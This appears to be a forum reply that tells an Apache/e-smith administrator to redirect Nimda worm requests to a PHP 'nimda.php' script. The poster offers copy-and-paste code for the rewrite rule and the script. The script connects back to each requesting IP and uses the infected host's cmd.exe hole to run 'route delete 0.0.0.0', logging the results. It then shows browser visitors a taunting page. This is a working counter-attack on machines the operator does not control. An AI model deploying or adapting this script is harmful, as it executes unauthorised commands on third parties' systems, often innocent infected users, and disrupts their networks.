I'll take a stab at it, Andy...
1. Create the template
# pico -w /etc/e-smith/templates-custom/etc/httpd/conf/httpd.conf/99NimdaDisabler
Copy and paste the following text into the file
# ----------------------------------------------
# Nimda Disabler
# ----------------------------------------------
RewriteEngine on
RewriteRule /cmd\.exe /nimda.php
# ----------------------------------------------
Now you need to rebuild the template...
# /sbin/e-smith/expand-template /etc/httpd/conf/httpd.conf
There ya go.. tough part handled.
The other part should be easy as pie...
Copy the following code into a file called nimda.php in your primary/html directory:
header("HTTP/1.0 400 I've got your number");
if ($HTTP_USER_AGENT == "Antinimda")
exit; // to prevent loops
$fp =fsockopen($REMOTE_ADDR,80,$a,$a,5);
if ($fp)
{
$req="GET $SCRIPT_URL?/c+route+delete+0.0.0.0 HTTP/1.0
User-Agent: Antinimda\r\n\r\n";
fputs($fp,$req);
$res =fgets($fp,1024);
fclose($fp);
$log=fopen("/tmp/nimda.log","a");
fwrite($log,$REMOTE_ADDR . " " . date("r") . " " .$res."\n" );
fclose($log);
}
if (!$HTTP_USER_AGENT)
exit;
//otherwise, this is someone with a browser, so lets scare 'em
?>
5kr1pt ki66i3
UR l33t!
I've logged your IP as echo $REMOTE_ADDR ?>,
Your browser as echo $HTTP_USER_AGENT ?>,
Your IQ as echo mt_rand(0,50) ?>// a number below 50